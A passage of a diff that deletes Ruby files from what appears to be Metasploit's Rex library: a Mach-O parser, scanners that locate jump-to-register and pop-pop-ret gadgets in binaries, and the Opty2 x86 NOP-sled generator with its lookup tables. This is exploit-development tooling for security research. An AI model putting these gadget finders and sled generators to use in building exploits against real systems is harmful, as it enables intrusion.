load_command = LOAD_COMMAND_MSB.make_struct
else
load_command = LOAD_COMMAND_LSB.make_struct
end
if !load_command.from_s(rawdata)
raise MachParseError, "Couldn't parse load command"
end
self.struct = load_command
end
end
SEGMENT_COMMAND_SIZE = 56
SEGMENT_COMMAND_LSB = Rex::Struct2::CStructTemplate.new(
['uint32v', 'cmd', 0],
['uint32v', 'cmdsize', 0],
['string', 'segname', 16, ''],
['uint32v', 'vmaddr', 0],
['uint32v', 'vmsize', 0],
['uint32v', 'fileoff', 0],
['uint32v', 'filesize', 0],
['uint32v', 'maxprot', 0],
['uint32v', 'initprot', 0],
['uint32v', 'nsects', 0],
['uint32v', 'flags', 0]
)
SEGMENT_COMMAND_MSB = Rex::Struct2::CStructTemplate.new(
['uint32n', 'cmd', 0],
['uint32n', 'cmdsize', 0],
['string', 'segname', 16, ''],
['uint32n', 'vmaddr', 0],
['uint32n', 'vmsize', 0],
['uint32n', 'fileoff', 0],
['uint32n', 'filesize', 0],
['uint32n', 'maxprot', 0],
['uint32n', 'initprot', 0],
['uint32n', 'nsects', 0],
['uint32n', 'flags', 0]
)
SEGMENT_COMMAND_SIZE_64 = 72
SEGMENT_COMMAND_64_LSB = Rex::Struct2::CStructTemplate.new(
['uint32v', 'cmd', 0],
['uint32v', 'cmdsize', 0],
['string', 'segname', 16, ''],
['uint64v', 'vmaddr', 0],
['uint64v', 'vmsize', 0],
['uint64v', 'fileoff', 0],
['uint64v', 'filesize', 0],
['uint32v', 'maxprot', 0],
['uint32v', 'initprot', 0],
['uint32v', 'nsects', 0],
['uint32v', 'flags', 0]
)
SEGMENT_COMMAND_64_MSB = Rex::Struct2::CStructTemplate.new(
['uint32n', 'cmd', 0],
['uint32n', 'cmdsize', 0],
['string', 'segname', 16, ''],
['uint64n', 'vmaddr', 0],
['uint64n', 'vmsize', 0],
['uint64n', 'fileoff', 0],
['uint64n', 'filesize', 0],
['uint32n', 'maxprot', 0],
['uint32n', 'initprot', 0],
['uint32n', 'nsects', 0],
['uint32n', 'flags', 0]
)
class Segment < GenericHeader
attr_accessor :_bits, :_endian
def initialize(rawdata, bits, endian)
self._bits = bits
if bits == BITS_64
if endian == ENDIAN_MSB
segment_command = SEGMENT_COMMAND_64_MSB.make_struct
else
segment_command = SEGMENT_COMMAND_64_LSB.make_struct
end
else
if endian == ENDIAN_MSB
segment_command = SEGMENT_COMMAND_MSB.make_struct
else
segment_command = SEGMENT_COMMAND_LSB.make_struct
end
end
if !segment_command.from_s(rawdata)
raise MachParseError, "Couldn't parse segment command"
end
self.struct = segment_command
end
def Segname
v['segname']
end
def Vmaddr
v['vmaddr']
end
def Vmsize
v['vmsize']
end
def FileOff
v['fileoff']
end
def FileSize
v['filesize']
end
end
class Thread < GenericHeader
def initialize(rawdata)
end
end
end
FAT_MAGIC = 0xcafebabe
FAT_CIGAM = 0xbebafeca
FAT_HEADER_SIZE = 8
FAT_HEADER_LSB = Rex::Struct2::CStructTemplate.new(
['uint32v', 'magic', 0],
['uint32v', 'nfat_arch',0]
)
FAT_HEADER_MSB = Rex::Struct2::CStructTemplate.new(
['uint32n', 'magic', 0],
['uint32n', 'nfat_arch',0]
)
FAT_ARCH_SIZE = 20
FAT_ARCH_LSB = Rex::Struct2::CStructTemplate.new(
['uint32v', 'cpu_type', 0],
['uint32v', 'cpu_subtype',0],
['uint32v', 'offset', 0],
['uint32v', 'size', 0],
['uint32v', 'align', 0]
)
FAT_ARCH_MSB = Rex::Struct2::CStructTemplate.new(
['uint32n', 'cpu_type', 0],
['uint32n', 'cpu_subtype',0],
['uint32n', 'offset', 0],
['uint32n', 'size', 0],
['uint32n', 'align', 0]
)
class FatBase
class FatHeader < GenericHeader
attr_accessor :nfat_arch, :endian, :exists
def initialize(rawdata)
fat_header = FAT_HEADER_LSB.make_struct
if !fat_header.from_s(rawdata)
#raise something
end
magic = fat_header.v['magic']
if magic == FAT_MAGIC
endian = ENDIAN_LSB
elsif magic == FAT_CIGAM
endian = ENDIAN_MSB
fat_header = FAT_HEADER_MSB.make_struct
if !fat_header.from_s(rawdata)
raise FatHeaderError, "Could not parse FAT header"
end
else
self.exists = 0
return
end
self.nfat_arch = fat_header.v['nfat_arch']
self.struct = fat_header
self.endian = endian
end
end
class FatArch < GenericHeader
attr_accessor :cpu_type, :cpu_subtype, :offset, :size
def initialize(rawdata, endian)
if endian == ENDIAN_LSB
fat_arch = FAT_ARCH_LSB.make_struct
else
fat_arch = FAT_ARCH_MSB.make_struct
end
if !fat_arch.from_s(rawdata)
raise FatHeaderError, "Could not parse arch from FAT header"
end
self.cpu_type = fat_arch.v['cpu_type']
self.cpu_subtype = fat_arch.v['cpu_subtype']
self.offset = fat_arch.v['offset']
self.size = fat_arch.v['size']
self.struct = fat_arch
end
end
class Thread < GenericHeader
def initialize(rawdata)
end
end
end
end
end

View File

@ -1,9 +0,0 @@
# -*- coding: binary -*-
module Rex
module MachScan
end
end
require 'rex/machscan/scanner'

View File

@ -1,217 +0,0 @@
# -*- coding: binary -*-
module Rex
module MachScan
module Scanner
class Generic
attr_accessor :mach, :fat, :regex
def initialize(binary)
if binary.class == Rex::MachParsey::Mach
self.mach = binary
else
self.fat = binary
end
end
def config(param)
end
def scan(param)
config(param)
$stdout.puts "[#{param['file']}]"
if !self.mach
for mach in fat.machos
if mach.mach_header.cputype == 0x7 #since we only support intel for the time being its all we process
self.mach = mach
end
end
end
self.mach.segments.each do |segment|
if segment.segname.include? "__TEXT"
scan_segment(segment, param).each do |hit|
vaddr = hit[0]
message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
$stdout.puts self.mach.ptr_s(vaddr - self.mach.fat_offset) + " " + message
end
end
end
end
def scan_segment(segment, param={})
[]
end
end
class JmpRegScanner < Generic
def config(param)
regnums = param['args']
# build a list of the call bytes
calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work..
jmps = _build_byte_list(0xe0, regnums)
pushs1 = _build_byte_list(0x50, regnums)
pushs2 = _build_byte_list(0xf0, regnums)
regexstr = '('
if !calls.empty?
regexstr += "\xff[#{calls}]|"
end
regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))"
self.regex = Regexp.new(regexstr, nil, 'n')
end
# build a list for regex of the possible bytes, based on a base
# byte and a list of register numbers..
def _build_byte_list(base, regnums)
regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('')
end
def _ret_size(offset)
case mach.read(offset, 1)
when "\xc3"
return 1
when "\xc2"
return 3
end
$stderr.puts("Invalid return instruction")
end
def _parse_ret(data)
if data.length == 1
return "ret"
else
return "retn 0x%04x" % data[1, 2].unpack('v')[0]
end
end
def scan_segment(segment, param={})
base_addr = segment.vmaddr
segment_offset = segment.fileoff
offset = segment_offset
hits = []
while (offset = mach.index(regex, offset)) != nil
vaddr = base_addr + (offset - segment_offset)
message = ''
parse_ret = false
byte1 = mach.read(offset, 1).unpack("C*")[0]
if byte1 == 0xff
byte2 = mach.read(offset+1, 1).unpack("C*")[0]
regname = Rex::Arch::X86.reg_name32(byte2 & 0x7)
case byte2 & 0xf8
when 0xd0
message = "call #{regname}"
offset += 2
when 0xe0
message = "jmp #{regname}"
offset += 2
when 0xf0
retsize = _ret_size(offset+2)
message = "push #{regname}; " + _parse_ret(mach.read(offset+2, retsize))
offset += 2 + retsize
else
raise "Unexpected value at offset: #{offset}"
end
else
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)
retsize = _ret_size(offset+1)
message = "push #{regname}; " + _parse_ret(mach.read(offset+1, retsize))
offset += 1 + retsize
end
hits << [ vaddr, message ]
end
return hits
end
end
class PopPopRetScanner < JmpRegScanner
def config(param)
pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's...
self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n')
end
def scan_segment(segment, param={})
base_addr = segment.vmaddr
segment_offset = segment.fileoff
offset = segment_offset
hits = []
while offset < segment.fileoff + segment.filesize && (offset = mach.index(regex, offset)) != nil
vaddr = base_addr + (offset - segment_offset)
message = ''
pops = mach.read(offset, 2)
reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack("C*")[0] & 0x7)
reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack("C*")[0] & 0x7)
message = "pop #{reg1}; pop #{reg2}; "
retsize = _ret_size(offset+2)
message += _parse_ret(mach.read(offset+2, retsize))
offset += 2 + retsize
hits << [ vaddr, message ]
end
return hits
end
end
class RegexScanner < JmpRegScanner
def config(param)
self.regex = Regexp.new(param['args'], nil, 'n')
end
def scan_segment(segment, param={})
base_addr = segment.vmaddr
segment_offset = segment.fileoff
offset = segment_offset
hits = []
while offset < segment.fileoff + segment.filesize && (offset = mach.index(regex, offset)) != nil
idx = offset
buf = ''
mat = nil
while (! (mat = buf.match(regex)))
buf << mach.read(idx, 1)
idx += 1
end
vaddr = base_addr + (offset - segment_offset)
hits << [ vaddr, buf.unpack("H*") ]
offset += buf.length
end
return hits
end
end
end
end
end

View File

@ -1,109 +0,0 @@
# -*- coding: binary -*-
require 'rex/arch/x86'
require 'rex/nop/opty2_tables'
module Rex
module Nop
###
#
# This class provides an interface to generating multi-byte NOP sleds for x86.
# Optyx and spoonm get the creds!
#
###
class Opty2
Table = Rex::Nop::Opty2Tables::StateTable
def initialize(badchars = '', save_registers = nil)
self.badchars = badchars
self.save_registers = (save_registers || []) | [ 'esp', 'ebp']
end
#
# Generates the Opty2 multi-byte NOP sled.
#
def generate_sled(length)
return '' if (length <= 0)
# Initialize the sled buffer, the previous state, and the current stream
# length.
sled = ''
prev = 256
slen = 0
# Initialize the byte count array
counts = []
256.times { |idx| counts[idx] = 0 }
# Initialize the bad register mask
mask = 0
save_registers.each { |reg|
mask |= 1 << (Rex::Arch::X86.reg_number(reg))
}
mask = mask << 16
# Initialize the bad byte lookup table
bad_bytes = []
(badchars || '').each_byte { |byte|
bad_bytes[byte] = 1
}
# Build the sled
while (length > 0)
low = -1
lows = []
Table[prev].each { |nt|
nt.each { |e|
# Skip it if it's masked off or too large
next if ((e & mask) != 0)
next if (((e >> 8) & 0xff) > slen)
byte = e & 0xff
# Skip it if it's a bad byte
next if (bad_bytes[byte] == 1)
# Use it if it's a better value
if ((low == -1) or (low > counts[byte]))
low = counts[byte]
lows = [byte]
# Otherwise, if it's just as good..
elsif (low == counts[byte])
lows << byte
end
}
}
# If we didn't find at least one byte possibility, then we're stuck.
# Abort.
if (low == -1)
raise RuntimeError, "Failed to find a valid byte."
end
# Pick a random character for the possiblities
prev = lows[rand(lows.length)]
# Increment its used count
counts[prev] += 1
# Prepend the byte to the sled
sled = prev.chr + sled
# Increment the sled length
slen += 1
length -= 1
end
# Return the sled
sled
end
attr_accessor :badchars, :save_registers # :nodoc:
end
end
end

View File

@ -1,301 +0,0 @@
# -*- coding: binary -*-
module Rex
module Nop
module Opty2Tables
SharedShift0 =
[
65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,
1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,
65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,
131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,
1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,
1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,144,
196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,
1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,
524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260,
66005,65750,245,248,249,252,253,359
]
StateTable =
[
# 0x00
[[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66005,65750,131552,131553,131554,483,491,245,248,249,252,253,358,359, 0x01018D]],
[SharedShift0, [624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,131808,131809,131810,739,747,358, 0x01018D]],
[SharedShift0, [880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,132064,132065,132066,995,1003,358, 0x01018D]],
[SharedShift0, [1136,1137,1138,1139,1140,1141,1142,1143,1144,1145,1146,1147,1148,1149,1150,1151,132320,132321,132322,1251,1259,358, 0x01018D]],
[SharedShift0, [1392,1393,1394,1395,1396,1397,1398,1399,1400,1401,1402,1403,1404,1405,1406,1407,132576,132577,132578,1507,1515,358]],
[SharedShift0, [1648,1649,1650,1651,1652,1653,1654,1655,1656,1657,1658,1659,1660,1661,1662,1663,132832,132833,132834,1763,1771,358]],
[SharedShift0, [1904,1905,1906,1907,1908,1909,1910,1911,1912,1913,1914,1915,1916,1917,1918,1919,133088,133089,133090,2019,2027,358, 0x01018D]],
[SharedShift0, [2160,2161,2162,2163,2164,2165,2166,2167,2168,2169,2170,2171,2172,2173,2174,2175,133344,133345,133346,2275,2283,358, 0x01018D]],
[SharedShift0, [2416,2417,2418,2419,2420,2421,2422,2423,2424,2425,2426,2427,2428,2429,2430,2431,133600,133601,133602,2531,2539,358, 0x02018D]],
[SharedShift0, [2672,2673,2674,2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,133856,133857,133858,2787,2795,358, 0x02018D]],
[SharedShift0, [2928,2929,2930,2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,134112,134113,134114,3043,3051,358, 0x02018D]],
[SharedShift0, [3184,3185,3186,3187,3188,3189,3190,3191,3192,3193,3194,3195,3196,3197,3198,3199,134368,134369,134370,3299,3307,358, 0x02018D]],
[SharedShift0, [3440,3441,3442,3443,3444,3445,3446,3447,3448,3449,3450,3451,3452,3453,3454,3455,134624,134625,134626,3555,3563,358]],
[SharedShift0, [3696,3697,3698,3699,3700,3701,3702,3703,3704,3705,3706,3707,3708,3709,3710,3711,134880,134881,134882,3811,3819,358]],
[SharedShift0, [3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964,3965,3966,3967,135136,135137,135138,4067,4075,358, 0x02018D]],
[SharedShift0, [4208,4209,4210,4211,4212,4213,4214,4215,4216,4217,4218,4219,4220,4221,4222,4223,135392,135393,135394,4323,4331, 0x02018D]],
# 0x10
[SharedShift0, [4464,4465,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476,4477,4478,4479,135648,135649,135650,4579,4587,358, 0x04018D]],
[SharedShift0, [4720,4721,4722,4723,4724,4725,4726,4727,4728,4729,4730,4731,4732,4733,4734,4735,135904,135905,135906,4835,4843,358, 0x04018D]],
[SharedShift0, [4976,4977,4978,4979,4980,4981,4982,4983,4984,4985,4986,4987,4988,4989,4990,4991,136160,136161,136162,5091,5099,358, 0x04018D]],
[SharedShift0, [5232,5233,5234,5235,5236,5237,5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,136416,136417,136418,5347,5355,358, 0x04018D]],
[SharedShift0, [5488,5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,136672,136673,136674,5603,5611,358]],
[SharedShift0, [5744,5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,136928,136929,136930,5859,5867,358]],
[SharedShift0, [6000,6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,137184,137185,137186,6115,6123,358, 0x04018D]],
[SharedShift0, [6256,6257,6258,6259,6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,137440,137441,137442,6371,6379,358, 0x04018D]],
[SharedShift0, [6512,6513,6514,6515,6516,6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,137696,137697,137698,6627,6635,358, 0x08018D]],
[SharedShift0, [6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779,6780,6781,6782,6783,137952,137953,137954,6883,6891,358, 0x08018D]],
[SharedShift0, [7024,7025,7026,7027,7028,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,138208,138209,138210,7139,7147,358, 0x08018D]],
[SharedShift0, [7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,138464,138465,138466,7395,7403,358, 0x08018D]],
[SharedShift0, [7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551,138720,138721,138722,7651,7659,358]],
[SharedShift0, [7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807,138976,138977,138978,7907,7915,358]],
[SharedShift0, [8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,139232,139233,139234,8163,8171,358, 0x08018D]],
[SharedShift0, [8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,139488,139489,139490,8419,8427,358, 0x08018D]],
# 0x20
[SharedShift0, [8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,139744,139745,139746,8675,8683,358, 0x10018D]],
[SharedShift0, [8816,8817,8818,8819,8820,8821,8822,8823,8824,8825,8826,8827,8828,8829,8830,8831,140000,140001,140002,8931,8939,358, 0x10018D]],
[SharedShift0, [9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085,9086,9087,140256,140257,140258,9187,9195,358, 0x10018D]],
[SharedShift0, [9328,9329,9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,140512,140513,140514,9443,9451,358, 0x10018D]],
[SharedShift0, [9584,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599,140768,140769,140770,9699,9707,358]],
[SharedShift0, [9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854,9855,141024,141025,141026,9955,9963,358]],
[SharedShift0, [10096,10097,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110,10111,141280,141281,141282,10211,10219,358, 0x10018D]],
[SharedShift0, [10352,10353,10354,10355,10356,10357,10358,10359,10360,10361,10362,10363,10364,10365,10366,10367,141536,141537,141538,10467,10475,358, 0x10018D]],
[SharedShift0, [10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618,10619,10620,10621,10622,10623,141792,141793,141794,10723,10731,358, 0x20018D]],
[SharedShift0, [10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876,10877,10878,10879,142048,142049,142050,10979,10987,358, 0x20018D]],
[SharedShift0, [11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,11135,142304,142305,142306,11235,11243,358, 0x20018D]],
[SharedShift0, [11376,11377,11378,11379,11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,142560,142561,142562,11491,11499,358, 0x20018D]],
[SharedShift0, [11632,11633,11634,11635,11636,11637,11638,11639,11640,11641,11642,11643,11644,11645,11646,11647,142816,142817,142818,11747,11755,358]],
[SharedShift0, [11888,11889,11890,11891,11892,11893,11894,11895,11896,11897,11898,11899,11900,11901,11902,11903,143072,143073,143074,12003,12011,358]],
[SharedShift0, [12144,12145,12146,12147,12148,12149,12150,12151,12152,12153,12154,12155,12156,12157,12158,12159,143328,143329,143330,12259,12267,358, 0x20018D]],
[SharedShift0, [12400,12401,12402,12403,12404,12405,12406,12407,12408,12409,12410,12411,12412,12413,12414,12415,143584,143585,143586,12515,12523,358, 0x20018D]],
# 0x30
[SharedShift0, [12656,12657,12658,12659,12660,12661,12662,12663,12664,12665,12666,12667,12668,12669,12670,12671,143840,143841,143842,12771,12779,358, 0x40018D]],
[SharedShift0, [12912,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926,12927,144096,144097,144098,13027,13035,358, 0x40018D]],
[SharedShift0, [13168,13169,13170,13171,13172,13173,13174,13175,13176,13177,13178,13179,13180,13181,13182,13183,144352,144353,144354,13283,13291,358, 0x40018D]],
[SharedShift0, [13424,13425,13426,13427,13428,13429,13430,13431,13432,13433,13434,13435,13436,13437,13438,13439,144608,144609,144610,13539,13547,358, 0x40018D]],
[SharedShift0, [13680,13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,144864,144865,144866,13795,13803,358]],
[SharedShift0, [13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951,145120,145121,145122,14051,14059,358]],
[SharedShift0, [14192,14193,14194,14195,14196,14197,14198,14199,14200,14201,14202,14203,14204,14205,14206,14207,145376,145377,145378,14307,14315,358, 0x40018D]],
[SharedShift0, [14448,14449,14450,14451,14452,14453,14454,14455,14456,14457,14458,14459,14460,14461,14462,14463,145632,145633,145634,14563,14571,358, 0x40018D]],
[SharedShift0, [14704,14705,14706,14707,14708,14709,14710,14711,14712,14713,14714,14715,14716,14717,14718,14719,145888,145889,145890,14819,14827,358, 0x80018D]],
[SharedShift0, [14960,14961,14962,14963,14964,14965,14966,14967,14968,14969,14970,14971,14972,14973,14974,14975,146144,146145,146146,15075,15083,358, 0x80018D]],
[SharedShift0, [15216,15217,15218,15219,15220,15221,15222,15223,15224,15225,15226,15227,15228,15229,15230,15231,146400,146401,146402,15331,15339,358, 0x80018D]],
[SharedShift0, [15472,15473,15474,15475,15476,15477,15478,15479,15480,15481,15482,15483,15484,15485,15486,15487,146656,146657,146658,15587,15595,358, 0x80018D]],
[SharedShift0, [15728,15729,15730,15731,15732,15733,15734,15735,15736,15737,15738,15739,15740,15741,15742,15743,146912,146913,146914,15843,15851,358]],
[SharedShift0, [15984,15985,15986,15987,15988,15989,15990,15991,15992,15993,15994,15995,15996,15997,15998,15999,147168,147169,147170,16099,16107,358]],
[SharedShift0, [16240,16241,16242,16243,16244,16245,16246,16247,16248,16249,16250,16251,16252,16253,16254,16255,147424,147425,147426,16355,16363,358, 0x80018D]],
[SharedShift0, [16496,16497,16498,16499,16500,16501,16502,16503,16504,16505,16506,16507,16508,16509,16510,16511,147680,147681,147682,16611,16619,358, 0x80018D]],
# 0x40
[SharedShift0, [16752,16753,16754,16755,16756,16757,16758,16759,16760,16761,16762,16763,16764,16765,16766,16767,147936,147937,147938,16867,16875,358, 0x01028D]],
[SharedShift0, [17008,17009,17010,17011,17012,17013,17014,17015,17016,17017,17018,17019,17020,17021,17022,17023,148192,148193,148194,17123,17131,358, 0x01028D]],
[SharedShift0, [17264,17265,17266,17267,17268,17269,17270,17271,17272,17273,17274,17275,17276,17277,17278,17279,148448,148449,148450,17379,17387,358, 0x01028D]],
[SharedShift0, [17520,17521,17522,17523,17524,17525,17526,17527,17528,17529,17530,17531,17532,17533,17534,17535,148704,148705,148706,17635,17643,358, 0x01028D]],
[SharedShift0, [17776,17777,17778,17779,17780,17781,17782,17783,17784,17785,17786,17787,17788,17789,17790,17791,148960,148961,148962,17891,17899,358]],
[SharedShift0, [18032,18033,18034,18035,18036,18037,18038,18039,18040,18041,18042,18043,18044,18045,18046,18047,149216,149217,149218,18147,18155,358, 0x01028D]],
[SharedShift0, [18288,18289,18290,18291,18292,18293,18294,18295,18296,18297,18298,18299,18300,18301,18302,18303,149472,149473,149474,18403,18411,358, 0x01028D]],
[SharedShift0, [18544,18545,18546,18547,18548,18549,18550,18551,18552,18553,18554,18555,18556,18557,18558,18559,149728,149729,149730,18659,18667,358, 0x01028D]],
[SharedShift0, [18800,18801,18802,18803,18804,18805,18806,18807,18808,18809,18810,18811,18812,18813,18814,18815,149984,149985,149986,18915,18923,358, 0x02028D]],
[SharedShift0, [19056,19057,19058,19059,19060,19061,19062,19063,19064,19065,19066,19067,19068,19069,19070,19071,150240,150241,150242,19171,19179,358, 0x02028D]],
[SharedShift0, [19312,19313,19314,19315,19316,19317,19318,19319,19320,19321,19322,19323,19324,19325,19326,19327,150496,150497,150498,19427,19435,358, 0x02028D]],
[SharedShift0, [19568,19569,19570,19571,19572,19573,19574,19575,19576,19577,19578,19579,19580,19581,19582,19583,150752,150753,150754,19683,19691,358, 0x02028D]],
[SharedShift0, [19824,19825,19826,19827,19828,19829,19830,19831,19832,19833,19834,19835,19836,19837,19838,19839,151008,151009,151010,19939,19947,358]],
[SharedShift0, [20080,20081,20082,20083,20084,20085,20086,20087,20088,20089,20090,20091,20092,20093,20094,20095,151264,151265,151266,20195,20203,358, 0x02028D]],
[SharedShift0, [20336,20337,20338,20339,20340,20341,20342,20343,20344,20345,20346,20347,20348,20349,20350,20351,151520,151521,151522,20451,20459,358, 0x02028D]],
[SharedShift0, [20592,20593,20594,20595,20596,20597,20598,20599,20600,20601,20602,20603,20604,20605,20606,20607,151776,151777,151778,20707,20715,358, 0x02028D]],
# 0x50
[SharedShift0, [20848,20849,20850,20851,20852,20853,20854,20855,20856,20857,20858,20859,20860,20861,20862,20863,152032,152033,152034,20963,20971,358, 0x04028D]],
[SharedShift0, [21104,21105,21106,21107,21108,21109,21110,21111,21112,21113,21114,21115,21116,21117,21118,21119,152288,152289,152290,21219,21227,358, 0x04028D]],
[SharedShift0, [21360,21361,21362,21363,21364,21365,21366,21367,21368,21369,21370,21371,21372,21373,21374,21375,152544,152545,152546,21475,21483,358, 0x04028D]],
[SharedShift0, [21616,21617,21618,21619,21620,21621,21622,21623,21624,21625,21626,21627,21628,21629,21630,21631,152800,152801,152802,21731,21739,358, 0x04028D]],
[SharedShift0, [21872,21873,21874,21875,21876,21877,21878,21879,21880,21881,21882,21883,21884,21885,21886,21887,153056,153057,153058,21987,21995,358]],
[SharedShift0, [22128,22129,22130,22131,22132,22133,22134,22135,22136,22137,22138,22139,22140,22141,22142,22143,153312,153313,153314,22243,22251,358, 0x04028D]],
[SharedShift0, [22384,22385,22386,22387,22388,22389,22390,22391,22392,22393,22394,22395,22396,22397,22398,22399,153568,153569,153570,22499,22507,358, 0x04028D]],
[SharedShift0, [22640,22641,22642,22643,22644,22645,22646,22647,22648,22649,22650,22651,22652,22653,22654,22655,153824,153825,153826,22755,22763,358, 0x04028D]],
[SharedShift0, [22896,22897,22898,22899,22900,22901,22902,22903,22904,22905,22906,22907,22908,22909,22910,22911,154080,154081,154082,23011,23019,358, 0x08028D]],
[SharedShift0, [23152,23153,23154,23155,23156,23157,23158,23159,23160,23161,23162,23163,23164,23165,23166,23167,154336,154337,154338,23267,23275,358, 0x08028D]],
[SharedShift0, [23408,23409,23410,23411,23412,23413,23414,23415,23416,23417,23418,23419,23420,23421,23422,23423,154592,154593,154594,23523,23531,358, 0x08028D]],
[SharedShift0, [23664,23665,23666,23667,23668,23669,23670,23671,23672,23673,23674,23675,23676,23677,23678,23679,154848,154849,154850,23779,23787,358, 0x08028D]],
[SharedShift0, [23920,23921,23922,23923,23924,23925,23926,23927,23928,23929,23930,23931,23932,23933,23934,23935,155104,155105,155106,24035,24043,358]],
[SharedShift0, [24176,24177,24178,24179,24180,24181,24182,24183,24184,24185,24186,24187,24188,24189,24190,24191,155360,155361,155362,24291,24299,358, 0x08028D]],
[SharedShift0, [24432,24433,24434,24435,24436,24437,24438,24439,24440,24441,24442,24443,24444,24445,24446,24447,155616,155617,155618,24547,24555,358, 0x08028D]],
[SharedShift0, [24688,24689,24690,24691,24692,24693,24694,24695,24696,24697,24698,24699,24700,24701,24702,24703,155872,155873,155874,24803,24811,358, 0x08028D]],
# 0x60
[SharedShift0, [24944,24945,24946,24947,24948,24949,24950,24951,24952,24953,24954,24955,24956,24957,24958,24959,156128,156129,156130,25059,25067,358, 0x10028D]],
[SharedShift0, [25200,25201,25202,25203,25204,25205,25206,25207,25208,25209,25210,25211,25212,25213,25214,25215,156384,156385,156386,25315,25323,358, 0x10028D]],
[SharedShift0, [25456,25457,25458,25459,25460,25461,25462,25463,25464,25465,25466,25467,25468,25469,25470,25471,156640,156641,156642,25571,25579,358, 0x10028D]],
[SharedShift0, [25712,25713,25714,25715,25716,25717,25718,25719,25720,25721,25722,25723,25724,25725,25726,25727,156896,156897,156898,25827,25835,358, 0x10028D]],
[SharedShift0, [25968,25969,25970,25971,25972,25973,25974,25975,25976,25977,25978,25979,25980,25981,25982,25983,157152,157153,157154,26083,26091,358]],
[SharedShift0, [26224,26225,26226,26227,26228,26229,26230,26231,26232,26233,26234,26235,26236,26237,26238,26239,157408,157409,157410,26339,26347,358, 0x10028D]],
[[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,26480,26481,26482,26483,26484,26485,26486,26487,26488,26489,26490,26491,26492,26493,26494,26495,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66260,66005,65750,157664,157665,157666,26595,26603,245,248,249,252,253, 0x10028D]],
